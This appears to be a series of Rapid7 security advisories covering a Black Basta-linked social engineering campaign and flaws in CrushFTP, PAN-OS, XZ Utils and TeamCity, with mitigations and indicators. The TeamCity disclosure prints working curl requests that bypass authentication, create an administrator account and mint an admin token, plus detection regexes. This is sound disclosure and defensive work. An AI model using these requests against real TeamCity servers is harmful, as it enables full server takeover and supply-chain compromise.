Co-authored by Rapid7 analysts Tyler McGraw, Thomas Elkins, and Evan McCann

Executive Summary

Rapid7 has identified an ongoing social engineering campaign that has been targeting multiple managed detection and response (MDR) customers. The incident involves a threat actor overwhelming a user's email with junk and calling the user, offering assistance. The threat actor prompts impacted users to download remote monitoring and management software like AnyDesk or utilize Microsoft's built-in Quick Assist feature in order to establish a remote connection. Once a remote connection has been established, the threat actor moves to download payloads from their infrastructure in order to harvest the impacted users credentials and maintain persistence on the impacted users asset.

In one incident, Rapid7 observed the threat actor deploying Cobalt Strike beacons to other assets within the compromised network. While ransomware deployment was not observed in any of the cases Rapid7 responded to, the indicators of compromise we observed were previously linked with the Black Basta ransomware operators based on OSINT and other incident response engagements handled by Rapid7.

Overview

Since late April 2024, Rapid7 identified multiple cases of a novel social engineering campaign. The attacks begin with a group of users in the target environment receiving a large volume of spam emails. In all observed cases, the spam was significant enough to overwhelm the email protection solutions in place and arrived in the user’s inbox. Rapid7 determined many of the emails themselves were not malicious, but rather consisted of newsletter sign-up confirmation emails from numerous legitimate organizations across the world.

With the emails sent, and the impacted users struggling to handle the volume of the spam, the threat actor then began to cycle through calling impacted users posing as a member of their organization’s IT team reaching out to offer support for their email issues. For each user they called, the threat actor attempted to socially engineer the user into providing remote access to their computer through the use of legitimate remote monitoring and management solutions. In all observed cases, Rapid7 determined initial access was facilitated by either the download and execution of the commonly abused RMM solution AnyDesk, or the built-in Windows remote support utility Quick Assist.

In the event the threat actor’s social engineering attempts were unsuccessful in getting a user to provide remote access, Rapid7 observed they immediately moved on to another user who had been targeted with their mass spam emails.

Once the threat actor successfully gains access to a user’s computer, they begin executing a series of batch scripts, presented to the user as updates, likely in an attempt to appear more legitimate and evade suspicion. The first batch script executed by the threat actor typically verifies connectivity to their command and control (C2) server and then downloads a zip archive containing a legitimate copy of OpenSSH for Windows (ultimately renamed to ***RuntimeBroker.exe***), along with its dependencies, several RSA keys, and other Secure Shell (SSH) configuration files. SSH is a protocol used to securely send commands to remote computers over the internet. While there are hard-coded C2 servers in many of the batch scripts, some are written so the C2 server and listening port can be specified on the command line as an override.

The script then establishes persistence via run key entries  in the Windows registry. The run keys created by the batch script point to additional batch scripts that are created at run time. Each batch script pointed to by the run keys executes SSH via PowerShell in an infinite loop to attempt to establish a reverse shell connection to the specified C2 server using the downloaded RSA private key. Rapid7 observed several different variations of the batch scripts used by the threat actor, some of which also conditionally establish persistence using other remote monitoring and management solutions, including NetSupport and ScreenConnect.

In all observed cases, Rapid7 has identified the usage of a batch script to harvest the victim’s credentials from the command line using PowerShell. The credentials are gathered under the false context of the “update” requiring the user to log in. In most of the observed batch script variations, the credentials are immediately exfiltrated to the threat actor’s server via a Secure Copy command (SCP). In at least one other observed script variant, credentials are saved to an archive and must be manually retrieved.

In one observed case, once the initial compromise was completed, the threat actor then attempted to move laterally throughout the environment via SMB using Impacket, and ultimately failed to deploy Cobalt Strike despite several attempts. While Rapid7 did not observe successful data exfiltration or ransomware deployment in any of our investigations, the indicators of compromise found via forensic analysis conducted by Rapid7 are consistent with the Black Basta ransomware group based on internal and open source intelligence.

Forensic Analysis

In one incident, Rapid7 observed the threat actor attempting to deploy additional remote monitoring and management tools including ScreenConnect and the NetSupport remote access trojan (RAT). Rapid7 acquired the Client32.ini file, which holds the configuration data for the NetSupport RAT, including domains for the connection. Rapid7 observed the NetSupport RAT attempt communication with the following domains:

• rewilivak13[.]com
• greekpool[.]com

After successfully gaining access to the compromised asset, Rapid7 observed the threat actor attempting to deploy Cobalt Strike beacons, disguised as a legitimate Dynamic Link Library (DLL) named 7z.DLL, to other assets within the same network as the compromised asset using the Impacket toolset.

In our analysis of 7z.DLL, Rapid7 observed the DLL was altered to include a function whose purpose was to XOR-decrypt the Cobalt Strike beacon using a hard-coded key and then execute the beacon.

The threat actor would attempt to deploy the Cobalt Strike beacon by executing the legitimate binary 7zG.exe and passing a command line argument of `b`, i.e. `C:\Users\Public\7zG.exe b`. By doing so, the legitimate binary 7zG.exe side-loads 7z.DLL, which in turn executes the embedded Cobalt Strike beacon. This technique is known as DLL side-loading, a method Rapid7 previously discussed in a blog post on the IDAT Loader.

Upon successful execution, Rapid7 observed the beacon inject a newly created process, choice.exe.

Mitigations

Rapid7 recommends baselining your environment for all installed remote monitoring and management solutions and utilizing application allowlisting solutions, such as AppLocker or ​​Microsoft Defender Application Control, to block all unapproved RMM solutions from executing within the environment. For example, the Quick Assist tool, quickassist.exe, can be blocked from execution via AppLocker.  As an additional precaution, Rapid7 recommends blocking domains associated with all unapproved RMM solutions. A public GitHub repo containing a catalog of RMM solutions, their binary names, and associated domains can be found here.

Rapid7 recommends ensuring users are aware of established IT channels and communication methods to identify and prevent common social engineering attacks. We also recommend ensuring users are empowered to report suspicious phone calls and texts purporting to be from internal IT staff.

MITRE ATT&CK Techniques

Rapid7 Customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:

Indicators of Compromise

Network Based Indicators (NBIs)

Host-based indicators (HBIs)

Rapid7 vulnerability researcher Ryan Emmons contributed to this blog.

On Friday, April 19, 2024, managed file transfer vendor CrushFTP released information to a private mailing list on a new zero-day vulnerability affecting versions below 10.7.1 and 11.1.0 (as well as legacy 9.x versions) across all platforms. No CVE was assigned by the vendor, but a third-party CVE Numbering Authority (CNA) assigned CVE-2024-4040 as of Monday, April 22. According to a public-facing vendor advisory, the vulnerability is ostensibly a VFS sandbox escape in CrushFTP managed file transfer software that allows “remote attackers with low privileges to read files from the filesystem outside of VFS Sandbox.”

Rapid7’s vulnerability research team analyzed CVE-2024-4040 and determined that it is fully unauthenticated and trivially exploitable; successful exploitation allows for not only arbitrary file read as root, but also authentication bypass for administrator account access and full remote code execution. Successful exploitation allows a remote, unauthenticated attacker to access and potentially exfiltrate all files stored on the CrushFTP instance. See Rapid7's full technical analysis of CVE-2024-4040 in AttackerKB for additional details.

Code that triggers the vulnerability is publicly available as of April 23. CVE-2024-4040 was added to the U.S. Cybersecurity and Infrastructure Agency's (CISA) Known Exploited Vulnerabilities (KEV) list on April 24.

Although the vulnerability has been formally described as an arbitrary file read, Rapid7 believes that it can be more accurately categorized as a server-side template injection (SSTI). CVE-2024-4040 was exploited in the wild as a zero-day vulnerability, per private customer communications from the vendor and a public Reddit post from security firm CrowdStrike. Using a query that looks for a specific JavaScript file in the web interface, there appear to be roughly 5,200 instances of CrushFTP exposed to the public internet.

Mitigation guidance

According to the advisory, CrushFTP versions below 11.1 are vulnerable to CVE-2024-4040. The following versions of CrushFTP are vulnerable as of April 23:

• All legacy CrushFTP 9 installations
• CrushFTP 10 before v10.7.1
• CrushFTP 11 before v11.1.0

The vulnerability has been patched in version 11.1.0 for the 11.x version stream, and in version 10.7.1 for the 10.x version stream. Our research team has validated that the vendor-supplied patch effectively remediates CVE-2024-4040.

The vendor advisory emphasizes the importance of updating to a fixed version of CrushFTP on an urgent basis. Rapid7 echoes this guidance, particularly given our team’s findings on the true impact of the issue, and urges organizations to apply the vendor-supplied patch on an emergency basis, without waiting for a typical patch cycle to occur.

While the vendor guidance as of April 22 says that “customers using a DMZ in front of their main CrushFTP instance are partially protected,” it’s unclear whether this is actually an effective barrier to exploitation. Out of an abundance of caution, Rapid7 advises against relying on a DMZ as a mitigation strategy.

Detection challenges

During the course of vulnerability analysis, Rapid7 observed several factors that make it difficult to effectively detect exploitation of CVE-2024-4040. Payloads for CVE-2024-4040 can be delivered in many different forms. When certain evasive techniques are leveraged, payloads will be redacted from logs and request history, and malicious requests will be difficult to discern from legitimate traffic. CrushFTP instances behind a standard reverse proxy, such as NGINX or Apache, are partially defended against these techniques, but our team has found that evasive tactics are still possible.

CrushFTP customers can harden their servers against administrator-level remote code execution attacks by enabling Limited Server mode with the most restrictive configuration possible. Organizations should also use firewalls wherever possible to aggressively restrict which IP addresses are permitted to access CrushFTP services.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2024-4040 with an authenticated vulnerability check available in the April 24 content release. Customers can also use Query Builder (asset.software.product CONTAINS 'CrushFTP') or a Filtered Asset Search (Software Name contains CrushFTP) to find assets in their environment with CrushFTP installed.

InsightIDR and managed detection and response (MDR) customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on post-exploitation behavior related to this zero-day vulnerability for both InsightIDR and Rapid7 MDR customers:

• Suspicious Web Request - Possible CrushFTP (CVE-2024-4040) Exploitation

Updates

April 23, 2024: Added Detection challenges section. Noted that our team tested the vendor-supplied patch and found that it successfully remediates CVE-2024-4040. Added detection rule deployed and alerting for InsightIDR and Rapid7 MDR customers. Added Query Builder information to assist InsightVM and Nexpose customers in identifying CrushFTP installations in their environments. Added link to Airbus CERT proof-of-concept code.

April 24, 2024: CVE-2024-4040 has been added to CISA KEV. A vulnerability check is now available to InsightVM and Nexpose customers. Rapid7's full technical analysis of CVE-2024-4040 is now available in AttackerKB.

On Friday, April 12, Palo Alto Networks published an advisory on CVE-2024-3400, a CVSS 10 zero-day vulnerability in several versions of PAN-OS, the operating system that runs on the company’s firewalls. According to the vendor advisory, if conditions for exploitability are met, the vulnerability may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. Patches are available for some versions as of Sunday, April 14, 2024.

Note: Initially, Palo Alto Networks's advisory indicated that customers were only vulnerable if they were using PAN-OS 10.2, PAN-OS 11.0, and/or PAN-OS 11.1 firewalls with the configurations for both GlobalProtect gateway (or GlobalProtect portal) and device telemetry enabled. As of Tuesday, April 16, the advisory has been updated to say, "Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability."

Palo Alto Networks’ advisory indicates that CVE-2024-3400 has been exploited in the wild in “a limited number of attacks.” The company has given the vulnerability their highest urgency rating. Palo Alto Networks has released an in-depth blog on the scope of the attack, indicators of compromise, and adversary behavior observations. We highly recommend reviewing it. Security firm Volexity, who discovered the zero-day vulnerability, also has a blog available here with extensive analysis, indicators of compromise, and observed attacker behavior.

Mitigation guidance

CVE-2024-3400 was unpatched at time of disclosure, but patches are available for some versions of PAN-OS as of Sunday, April 14. CVE-2024-3400 affects the following versions of PAN-OS when GlobalProtect (gateway or portal) is enabled:

• PAN-OS 11.1 (before 11.1.2-h3)
• PAN-OS 11.0 (before 11.0.4-h1)
• PAN-OS 10.2 (before 10.2.7-h8, before 10.2.8-h3, before 10.2.9-h1)
• Additional versions have been added to the advisory since initial publication

The vendor has updated their advisory as of April 16 to note that device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability. Palo Alto Networks’ Cloud NGFW and Prisma Access solutions are not affected; nor are earlier versions of PAN-OS (10.1, 10.0, 9.1, and 9.0).

Important: Palo Alto Networks has been continually updating their advisory, which now has an extensive list of affected versions and when fixes are expected. For additional information and the latest remediation guidance, please refer to the vendor advisory as the source of truth.

Patches for the CVE-2024-3400 were released on Sunday, April 14. Rapid7 recommends applying the vendor-provided patch immediately, without waiting for a typical patch cycle to occur. If you are unable to patch, apply one of the below vendor-provided mitigations:

• Customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 95187 (introduced in Applications and Threats content version 8833-8682). In addition to enabling Threat ID 95187, customers should ensure vulnerability protection has been applied to their GlobalProtect interface to prevent exploitation of this issue on their device. More information here.
• Note: While disabling device telemetry was initially mentioned as a temporary workaround, Palo Alto Networks has said as of April 16 that disabling device telemetry is no longer an effective mitigation.

Palo Alto Networks has a knowledge base article here with their recommended steps for remediating exploited devices. We also recommend reviewing indicators of compromise in Palo Alto Networks's blog and Volexity's blog.

Rapid7 customers

Authenticated vulnerability checks are available to InsightVM and Nexpose customers as of the Friday, April 12 content release. Since the vendor added more vulnerable versions to their advisory after it was originally published, our engineering team has updated our vulnerability checks as of the Wednesday, April 17 content release to be able to detect additional vulnerable versions of PAN-OS.

Per the vendor advisory, organizations that are running vulnerable firewalls and are concerned about potential exploitation in their environments can open a support case with Palo Alto Networks to determine if their device logs match known indicators of compromise (IoCs) for this vulnerability.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on post-exploitation behavior related to this zero-day vulnerability:

• Attacker Technique - NTDS File Access
• Attacker Technique: Renamed AnyDesk Binary in Non-Standard Location
• Attacker Technique: Renamed EWSProxy in Non-Standard Location
• Attacker Technique: Renamed AvastBrowserUpdate in Non-Standard Location
• Attacker Tool - Unknown Raw File Copy Utility For Credential Dumping
• Credential Access - Copying Credential Files with Esenutil
• Suspicious Process: A Single Character Executable in Root Intel Directory
• Suspicious Process - Avast Executable NOT in Program Files directory

Updates

Friday, April 12, 2024: Updated with link to Volexity blog on exploitation in the wild and indicators of compromise and Palo Alto Networks blog on the incident. Updated to note availability of VM content.

Monday, April 15, 2024: Updated to note that patches were available Sunday, April 14. Updated to note that GlobalProtect portal is also a vulnerable configuration (in addition to GlobalProtect gateway).

Tuesday, April 16, 2024: Added more vulnerable versions of the PAN-OS 10.2.x version stream per the updated vendor advisory. Patches are available for some versions, but not all, as of April 16. The advisory has ETAs on in-flight fixes. Rapid7 vulnerability checks will be updated on April 17 to detect newly listed vulnerable versions of PAN-OS.

Tuesday, April 16, 2024: Updated to note that disabling device telemetry is no longer considered an effective mitigation; Palo Alto Networks has now indicated that "device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability."

Wednesday, April 17, 2024: For InsightVM and Nexpose customers, vulnerability checks have been updated to detect additional vulnerable versions of PAN-OS. See the vendor advisory for the latest information.

Monday, April 22, 2024: Added list of (non-exhaustive) detection rules alerting for InsightIDR and Rapid7 MDR customers.

Monday, April 29, 2024: Added link to Palo Alto Networks KB article with recommendations on remediating exploited devices at different levels of compromise the vendor has defined.

On Friday, March 29, after investigating anomalous behavior in his Debian sid environment, developer Andres Freund contacted an open-source security mailing list to share that he had discovered an upstream backdoor in widely used command line tool XZ Utils (liblzma). The backdoor, added by an open-source committer who had been working on the tool for several years, affects XZ Utils versions 5.6.0 and 5.6.1. It has been assigned CVE-2024-3094.

According to Red Hat’s advisory –

“The malicious injection present in the xz versions 5.6.0 and 5.6.1 libraries is obfuscated and only included in full in the download package - the Git distribution lacks the M4 macro that triggers the build of the malicious code. The second-stage artifacts are present in the Git repository for the injection during the build time, in case the malicious M4 macro is present.

The resulting malicious build interferes with authentication in sshd via systemd.  SSH is a commonly used protocol for connecting remotely to systems, and sshd is the service that allows access.  Under the right circumstances this interference could potentially enable a malicious actor to break sshd authentication and gain unauthorized access to the entire system remotely.”

Community analysis of the backdoor is ongoing. Fortunately, thanks to Freund’s discovery, the backdoored version of the utility did not affect stable branches of most major Linux distributions and is unlikely to have made it into any production systems. The most at-risk category of users is likely developers, many of whom tend to run bleeding-edge versions of Linux.

Mitigation Guidance

XZ Utils users should downgrade to an older version of the utility immediately (i.e., any version before 5.6.0) and update their installations and packages according to distribution maintainer directions.

Major Linux distributions and package maintainers have published guidance on updating. Below is a list of affected and unaffected distributions — please refer to individual distribution and package advisories for the latest information and remediation guidance.

Affected distributions (as of March 31)

Debian

unstable / sid only — “versions ranging from 5.5.1alpha-0.1 (uploaded on 2024-02-01), up to and including 5.6.1-1.”

Kali Linux

Systems updated between March 26 and March 29, 2024

OpenSUSE

Tumbleweed and MicroOS rolling releases between March 7 and March 28, 2024

Arch Linux

• Installation medium 2024.03.01
• Virtual machine images 20240301.218094 and 20240315.221711
• Container images created between and including 2024-02-24 and 2024-03-28

Red Hat

Fedora Rawhide and Fedora 40 Linux beta

The following distributions have indicated they are not affected:

• Ubuntu
• Alpine Linux
• Amazon Linux
• Red Hat Enterprise Linux
• Gentoo
• Linux Mint

Please note that information on affected versions or requirements for exploitability may change as we learn more about the threat.

Rapid7 Customers

InsightVM and Nexpose customers can assess their exposure to CVE-2024-3094 with authenticated and agent-based package version checks, available as of the April 1, 2024 content release.

InsightCloudSec customers can assess their cloud resources using Host and Container Vulnerability Assessment capabilities. When enabled, customers can go to ‘Vulnerabilities > Software’ and add the following filter:

• Software Name contains xz
• Software Version starts with 5.6

Customers can also search for ‘xz’ with the ‘Show Software without Vulnerabilities’ box checked to see all deployed versions of the software.

Rapid7 Labs has shared this Velociraptor artifact to help search for installed vulnerable packages.

Blog Updates

April 2, 2024: Updated to note that InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-3094 with authenticated and agent-based vulnerability checks in today's (April 1) content release. Customers using the latest version of InsightCloudSec can also assess their cloud resources for exposure.

Overview

In February 2024, Rapid7’s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:

• CVE-2024-27198 is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (CWE-288) and has a CVSS base score of 9.8 (Critical).
• CVE-2024-27199 is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (CWE-22) and has a CVSS base score of 7.3 (High).

On March 4 (see note), Rapid7 noted that JetBrains released a fixed version of TeamCity without notifying Rapid7 that fixes had been implemented and were generally available. When Rapid7 contacted JetBrains about their uncoordinated vulnerability disclosure, JetBrains published an advisory on the vulnerabilities without responding to Rapid7 on the disclosure timeline. JetBrains later responded to indicate that CVEs had been published.

These issues were discovered by Stephen Fewer, Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Note: The JetBrains release blog for 2023.11.4 appears to display different publication dates based on the time zone of the reader. Some readers see that it was released March 3, while others see March 4. We've modified our language above to note that Rapid7 saw the release blog on March 4, regardless of what time it was released.

Impact

Both vulnerabilities are authentication bypass vulnerabilities, the most severe of which, CVE-2024-27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE, as demonstrated via our exploit:

Compromising a TeamCity server allows an attacker full control over all TeamCity projects, builds, agents and artifacts, and as such is a suitable vector to position an attacker to perform a supply chain attack.

The second vulnerability, CVE-2024-27199, allows for a limited amount of information disclosure and a limited amount of system modification, including the ability for an unauthenticated attacker to replace the HTTPS certificate in a vulnerable TeamCity server with a certificate of the attacker's choosing.

Remediation

On March 3, 2024, JetBrains released TeamCity 2023.11.4 which remediates both CVE-2024-27198 and CVE-2024-27199. Both of these vulnerabilities affect all versions of TeamCity prior to 2023.11.4.

For more details on how to upgrade, please read the JetBrains release blog. Rapid7 recommends that TeamCity customers update their servers immediately, without waiting for a regular patch cycle to occur. We have included sample indicators of compromise (IOCs) along with vulnerability details below.

Analysis

CVE-2024-27198

Overview

TeamCity exposes a web server over HTTP port 8111 by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.

Analysis

The vulnerability lies in how the jetbrains.buildServer.controllers.BaseController class handles certain requests. This class is implemented in the web-openapi.jar library. We can see below, when a request is being serviced by the handleRequestInternal method in the BaseController class, if the request is not being redirected (i.e. the handler has not issued an HTTP 302 redirect), then the updateViewIfRequestHasJspParameter method will be called.

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
            // ...snip...

In the updateViewIfRequestHasJspParameter method listed below, we can see the variable isControllerRequestWithViewName will be set to true if both the current modelAndView has a name, and the servlet path of the current request does not end in .jsp.

We can satisfy this by requesting a URI from the server that will generate an HTTP 404 response. Such a request will generate a servlet path of /404.html. We can note that this ends in .html and not .jsp, so the isControllerRequestWithViewName will be true.

Next we can see the method getJspFromRequest will be called, and the result of this call will be passed to the Java Spring frameworks ModelAndView.setViewName method. The result of doing this allows the attacker to change the URL being handled by the DispatcherServlet, thus allowing an attacker to call an arbitrary endpoint if they can control the contents of the jspFromRequest variable.

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

To understand how an attacker can specify an arbitrary endpoint, we can inspect the getJspFromRequest method below.

This method will retrieve the string value of an HTTP parameter named jsp from the current request. This string value will be tested to ensure it both ends with .jsp and does not contain the restricted path segment admin/.

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

Triggering the vulnerability

To see how to leverage this vulnerability, we can target an example endpoint. The /app/rest/server endpoint will return the current server version information. If we directly request this endpoint, the request will fail as the request is unauthenticated.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/app/rest/server
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 14 Feb 2024 17:20:05 GMT

Authentication required
To login manually go to "/login.html" page

To leverage this vulnerability to successfully call the authenticated endpoint /app/rest/server, an unauthenticated attacker must satisfy the following three requirements during an HTTP(S) request:

• Request an unauthenticated resource that generates a 404 response. This can be achieved by requesting a non existent resource, e.g.:
  • /hax
• Pass an HTTP query parameter named jsp containing the value of an authenticated URI path. This can be achieved by appending an HTTP query string, e.g.:
  • ?jsp=/app/rest/server
• Ensure the arbitrary URI path ends with .jsp. This can be achieved by appending an HTTP path parameter segment, e.g.:
  • ;.jsp

Combining the above requirements, the attacker’s URI path becomes:

/hax?jsp=/app/rest/server;.jsp

By using the authentication bypass vulnerability, we can successfully call this authenticated endpoint with no authentication.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>

If we attach a debugger, we can see the call to ModelAndView.setViewName occurring for the authenticated endpoint specified by the attacker in the jspFromRequest variable.

Exploitation

An attacker can exploit this authentication bypass vulnerability in several ways to take control of a vulnerable TeamCity server, and by association, all projects, builds, agents and artifacts associated with the server.

For example, an unauthenticated attacker can create a new administrator user with a password the attacker controls, by targeting the /app/rest/users REST API endpoint:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

We can verify the malicious administrator user has been created by viewing the TeamCity users in the web interface:

Alternatively, an unauthenticated attacker can generate a new administrator access token with the following request:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users/id:1/tokens/HaxorToken;.jsp -X POST
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 241
Date: Wed, 14 Feb 2024 17:37:26 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="HaxorToken" creationTime="2024-02-14T09:37:26.726-08:00" value="eyJ0eXAiOiAiVENWMiJ9.RzR2cHVjTGRUN28yRWpiM0Z4R2xrZjZfTTdj.ZWNiMjJlYWMtMjJhZC00NzIwLWI4OTQtMzRkM2NkNzQ3NmFl"/>

We can verify the malicious access token has been created by viewing the TeamCity tokens in the web interface:

By either creating a new administrator user account, or by generating an administrator access token, the attacker now has full control over the target TeamCity server.

IOCs

By default, the TeamCity log files are located in C:\TeamCity\logs\ on Windows and /opt/TeamCity/logs/ on Linux.

Access Token Creation

Leveraging this vulnerability to access resources may leave an entry in the teamcity-javaLogging log file (e.g. teamcity-javaLogging-2024-02-26.log) similar to the following:

26-Feb-2024 07:11:12.794 WARNING [http-nio-8111-exec-1] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.68:8111/app/rest/users/id:1/tokens/2vrflIqo;.jsp?jsp=/app/rest/users/id%3a1/tokens/2vrflIqo%3b.jsp, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

In the above example, the attacker leveraged the vulnerability to access the REST API and create a new administrator access token. In doing so, this log file now contains an entry detailing the URL as processed after the call to ModelAndView.setViewName. Note this logged URL is the rewritten URL and is not the same URL the attacker requested. We can see the URL contains the string ;.jsp as well as a query parameter jsp= which is indicative of the vulnerability. Note, the attacker can include arbitrary characters before the .jsp part, e.g. ;XXX.jsp, and there may be other query parameters present, and in any order, e.g. foo=XXX&jsp=. With this in mind, an example of a more complex logged malicious request is:

27-Feb-2024 07:15:45.191 WARNING [TC: 07:15:45 Processing REST request; http-nio-80-exec-5] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.50/app/rest/users/id:1/tokens/wo4qEmUZ;O.jsp?WkBR=OcPj9HbdUcKxH3O&pKLaohp7=d0jMHTumGred&jsp=/app/rest/users/id%3a1/tokens/wo4qEmUZ%3bO.jsp&ja7U2Bd=nZLi6Ni, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

A suitable regular expression to match the rewritten URI in the teamcity-javaLogging log file would be ;\S*\.jsp\?\S*jsp= while the regular expression \/\S*\?\S*jsp=\S*;\.jsp will match against both the rewritten URI and the attacker's original URI (Although it is unknown where the original URI will be logged to).

If the attacker has leveraged the vulnerability to create an access token, the token may have been deleted. Both the teamcity-server.log and the teamcity-activities.log will contain the below line to indicate this. We can see the token name being deleted 2vrflIqo (A random string chosen by the attacker) corresponds to the token name that was created, as shown in the warning message in the teamcity-javaLogging log file.

[2024-02-26 07:11:25,702]   INFO - s.buildServer.ACTIVITIES.AUDIT - delete_token_for_user: Deleted token "2vrflIqo" for user "user with id=1" by "user with id=1"

Malicious Plugin Upload

If an attacker uploaded a malicious plugin in order to achieve arbitrary code execution, both the teamcity-server.log and the teamcity-activities.log may contain the following lines, indicating a plugin was uploaded and subsequently deleted in quick succession, and authenticated with the same user account as that of the initial access token creation (e.g. ID 1).

[2024-02-26 07:11:13,304]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_uploaded: Plugin "WYyVNA6r" was updated by "user with id=1" with comment "Plugin was uploaded to C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r.zip"
[2024-02-26 07:11:24,506]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_disable: Plugin "WYyVNA6r" was disabled by "user with id=1"
[2024-02-26 07:11:25,683]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_deleted: Plugin "WYyVNA6r" was deleted by "user with id=1" with comment "Plugin was deleted from C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r.zip"

